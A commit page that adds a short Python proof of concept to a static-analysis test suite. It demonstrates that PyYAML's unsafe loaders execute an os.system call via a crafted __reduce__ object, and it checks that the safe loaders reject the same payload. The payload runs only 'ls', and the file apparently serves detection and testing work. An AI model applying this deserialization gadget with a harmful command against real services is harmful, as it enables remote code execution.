Skip to content

Commit 6c0083e

Browse files
committed
Python: Add PoC for PyYAML code execution
1 parent 1ce09af commit 6c0083e

File tree

1 file changed

+58
-0
lines changed
  • python/ql/test/library-tests/frameworks/yaml

1 file changed

+58
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
#!/usr/bin/env python3
2+
3+
# this file doesn't have a .py extension so the extractor doesn't pick it up, so it
4+
# doesn't have to be annotated
5+
6+
# This file is just a Proof of Concept for how code execution can be triggered.
7+
8+
9+
import os
10+
import yaml
11+
12+
class Exploit(object):
13+
def __reduce__(self):
14+
return (os.system, ('ls',))
15+
16+
data = Exploit()
17+
serialized_data = yaml.dump(data)
18+
19+
# All these will execute `ls`
20+
print("!!! yaml.unsafe_load")
21+
yaml.unsafe_load(serialized_data)
22+
23+
print("!!! yaml.unsafe_load kwarg")
24+
yaml.unsafe_load(stream=serialized_data)
25+
26+
print("!!! yaml.load with Loader=yaml.UnsafeLoader")
27+
yaml.load(serialized_data, yaml.UnsafeLoader)
28+
29+
# you need to iterate through the result for it to execute... but it still works
30+
print("!!! yaml.unsafe_load_all")
31+
for _ in yaml.unsafe_load_all(serialized_data):
32+
pass
33+
34+
# check that the safe version is actually safe
35+
print("\n" + "-"*80)
36+
print("safe versions")
37+
print("-" * 80)
38+
39+
print("!!! yaml.load")
40+
try:
41+
yaml.load(serialized_data)
42+
raise Exception("should not happen")
43+
except yaml.constructor.ConstructorError:
44+
pass
45+
46+
print("!!! yaml.safe_load")
47+
try:
48+
yaml.safe_load(serialized_data)
49+
raise Exception("should not happen")
50+
except yaml.constructor.ConstructorError:
51+
pass
52+
53+
print("!!! yaml.load with Loader=yaml.SafeLoader")
54+
try:
55+
yaml.load(serialized_data, yaml.SafeLoader)
56+
raise Exception("should not happen")
57+
except yaml.constructor.ConstructorError:
58+
pass

0 commit comments

Comments
 (0)